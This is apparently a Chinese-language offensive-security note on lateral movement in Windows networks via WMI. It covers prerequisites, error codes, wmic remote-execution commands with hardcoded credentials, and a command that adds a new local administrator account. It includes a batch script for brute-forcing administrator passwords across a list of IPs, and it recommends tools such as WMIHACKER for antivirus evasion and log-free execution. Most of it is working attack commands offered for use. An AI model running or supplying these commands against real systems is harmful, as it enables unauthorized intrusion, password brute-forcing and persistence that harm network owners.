基于WMI的横向移动
一.WMI 介绍
WMI的全称是 Windows Management Instrumentation,它出现在所有的 Windows操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的Windows系统,攻击者使用wmi来进行攻击,但 Windows系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用wmic进行远程执行命令。
WMI 利用条件
远程服务器启动Windows Management Instrumentation服务(默认开启)
135 端口未被过滤 [默认配置下目标主机防火墙开启将无法连接]
连接失败常见错误号:
1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时
错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135时
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的
......
二.利用 wmic 进行横向移动
常用系统自带命令
1.列出远程主机进程
wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:!@#123QWE process list brief
2.在远程系统上执行bat脚本
wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:!@#123QWE process call create c:\programdata\test.bat
3.在远程系统上执行单条命令
wmic /node:192.168.1.1 /user:192.168.1.1\administrator /password:!@#123QWE process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
引用自:https://www.cnblogs.com/0xdd/p/11393392.html
批量爆破
wmi的爆破经过实践,错误次数3次以上,360会拦截【无杀软时没有测试】,记录日志为远程rdp爆破,并暂时限制wmi的连接。
※以下为单密码爆破,有爆破多个密码爆破的需求的话,可以根据ipc横向移动那篇自行修改
@echo off
cls
echo Useage: %0 ip.txt
for /f %%ip in (%1) do (
echo wmic /node:%%ip /user:"%%ip\administrator" /password:"123456" process list brief >> log.txt
wmic /node:%%ip /user:"%%ip\administrator" /password:"123456" process list brief >NUL 2>NUL
IF errorlevel == 0 (
echo success:%%ip >> pic.txt
)
)
echo end >> end.txt
利用工具
wmiexec.vbs
没有使用过,暂未测试
wmiexec.vbs 是为了解决wmic无法回显命令而开发的一个工具,原理就是把数据先存到一个临时文件中,在每次读取完执行结果后就自动删除。可以用来回显 ”执行命令的结果“ 和获取 ”半交互式的 shell“ 。
cscript wmiexec.vbs /cmd 192.168.1.1 administrator test@123 whoami
impacket-wmiexec
优点:支持pth
缺点:他的使用需要调用wmi服务,占用目标的445、135和另一个随机端口,而smbexec只使用445端口。
sharpwmi
这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过调用来进行数据传输。
优点:只依赖135端口,不依赖139和445端口
缺点:目前只支持上传512kb以下的文件,因为重置每个值的长度不能超过512kb。执行命令和上传文件都依赖powershell(被360拦截了)
https://github.com/QAX-A-Team/sharpwmi
WMIHACKER(推荐)
免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(只依赖135端口,不依赖139和445端口)
重要:支持pth -> https://github.com/360-Linton-Lab/WMIHACKER/issues/1
主要功能:1、命令执行;2、文件上传;3、文件下载
https://github.com/360-Linton-Lab/WMIHACKER
Sharp-WMIExec
没有使用过,暂未测试
https://github.com/checkymander/Sharp-WMIExec
WMIcmd
没有使用过,暂未测试